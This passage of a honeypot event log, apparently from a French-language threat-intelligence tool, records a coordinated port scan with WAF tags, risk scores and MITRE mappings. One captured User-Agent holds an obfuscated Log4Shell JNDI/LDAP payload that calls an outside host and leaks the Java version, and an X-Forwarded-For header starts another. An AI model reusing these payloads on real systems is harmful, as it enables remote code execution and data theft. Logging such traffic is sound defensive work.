\u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022meta_truncated\u0022: true, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228089\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 5, \u0022port_scan_ports_sample\u0022: [7005, 8083, 8084, 8087, 8089], \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 16, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8089","http_user_agent":"${${q4:-j}${f:-n}${foa3:js:-d}${z:-i}${p:0n:1:-:}${8:s:5:-l}${fy9:d:-d}${0:f:-a}${i1n:ga:-p}${2nc:-:}${v4q:027:w:-\/}${8v4:pm:-\/}${65eh:0:2n:-U}${90:b4j:71m:-A}${7dsr:qh:sz:-l}${s9r:y:c:-0}${6rzx:-c}${slg:vxmk:--}${${q7z8:-s}${6qz:g72d:sikv:-y}${p:pnx3:r4:-s}${dw4:8:51z:-:}${r:mat:-j}${1:-a}${9ehg:-v}${gc:-a}${pzxm:k0:-.}${aubm:dfu:db:-v}${8sg5:n5:lir6:-e}${ek:2r:hi:-r}${gy:56:9e3:-s}${8s:jzn:hc9i:-i}${6nik:co:cpgl:-o}${n:y0:-n}}${k:sapx:q:-.}${tgl:wyg:mj:-5}${k8i:idrc:-5}${ep9:pia:o:-7}${fe:-4}${58qt:rtvc:-3}${f9y0:-3}${3i8x:-d}${o:vrfo:hx2:-c}${5uq:-0}${jc0t:-f}${u:9yqj:-b}${1:-8}${x2:6:-e}${8kt:-d}${b:9h:2:-e}${1dz:gf3:-e}${i4x:8god:-8}${6xzn:ty93:tdq:-e}${h:s:odri:-2}${6:7:-2}${fh5:g26i:zg9l:-e}${2k9f:-6}${1:cn:-e}${9h6:-5}${ru6:-2}${e2m:8j2:3y:-8}${2rf:9u:e8:-4}${7c:n6r:-f}${kp:1:-7}${0:1:-2}${3cms:-e}${8:y:-3}${8640:-3}${a:-3}${kd5:-8}${ik6:mh:7u:-f}${5bhs:7hs:-d}${0kax:gy:-9}${xgk:xm3p:j:-0}${w6:-e}${i:v3ob:j:-2}${6cxb:-a}${jz:-.}${rf3:u:u:-d}${05:yjrz:b35:-n}${9y:-s}${l71s:--}${mhf:-e}${qm:6j:-x}${8:ch:-f}${q:3m:-i}${zc7e:gk6:-l}${7zgv:4c6:-.}${nb68:3:ef:-m}${zs9p:go2:-a}${smuk:1ly:4:-s}${i7:81xl:-m}${esq:-c}${wg:-o}${zkwn:-r}${j:-e}${yq:--}${v:w:0:-c}${zfhm:-f}${lfrd:3rfo:rwf:--}${l4jr:t:r:-p}${zlx:-r}${ez6:-o}${mz8:65c:-d}${uy:--}${u:bjzg:-0}${9avj:ik5p:4r:-2}${i8:f8mt:xg:-.}${6qt:vz:o6ga:-m}${f:21:-a}${a:-s}${j:ef1q:d:-m}${1rx:-.}${2oe:c:-c}${x3:-l}${cue:-o}${s:9:-u}${1jsz:-d}${c:82:k:-f}${vtw6:-e}${6ym7:h:-r}${u2:b:k:-r}${0ma:-y}${av1:-.}${qa:52b:ai5o:-g}${gv:-o}${nmdc:-o}${23yc:gp0:-g}}","http_referer":null,"tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":4096},{"id":14459321,"ip":"34.19.116.51","ts":"2026-07-30 18:47:19.000000","proto":"tcp","src_port":7879,"dst_port":8089,"service":"http","classification":"port_scan_syn","waf_score":23,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950382:rce-14\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 6, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u002206b11278b3d8c06d12bf6f74085c2806fc07bb05\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.881383139040344, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8089, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 7.4, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 68, \u0022tag_count\u0022: 8, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022c49531565cbeb51d7c2a913be8d9046438b7eac6\u0022, \u0022event_fingerprint\u0022: \u0022de936a6432fb89a855da618305ffe2db3df65c5f\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022, \u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022, \u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022, \u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 68, \u0022correlation_boost\u0022: 16}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u0022d2cad3d76e46b37f12f25826daee4439\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 68}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950382:rce-14\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022rce-14\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nX-Forwarded-For: ${${cv:4h:ky9:-j}${v:ykbf\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950382:rce-14\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022rce-14\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nX-Forwarded-For: ${${cv:4h:ky9:-j}${v:ykbf\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022a3a4e1836aded232db25a9eef9c317e9a6bd18a1\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance)\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne multi-ports\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 68, \u0022correlation_boost\u0022: 16}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 68, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8089, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022campagne_ports\u0022, \u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Campagne multi-ports\u0022, \u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +16\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +16 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228089\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 5, \u0022port_scan_ports_sample\u0022: [7005, 8083, 8084, 8087, 8089], \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 16, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950382:rce-14\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022http_auth_header_token\u0022, \u0022http_bearer_auth\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8089","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950382:rce-14\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022http_auth_header_token\u0022, \u0022http_bearer_auth\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":4096}],"total_events":139}